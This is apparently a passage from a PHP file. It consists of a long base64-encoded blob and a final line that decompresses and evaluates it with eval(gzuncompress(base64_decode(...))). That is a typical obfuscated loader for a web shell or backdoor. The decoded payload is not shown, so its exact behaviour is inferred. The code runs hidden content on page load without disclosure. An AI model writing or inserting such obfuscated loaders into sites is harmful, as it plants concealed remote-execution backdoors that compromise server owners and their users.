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";

eval("?>".gzuncompress(base64_decode($bhrt))); ?>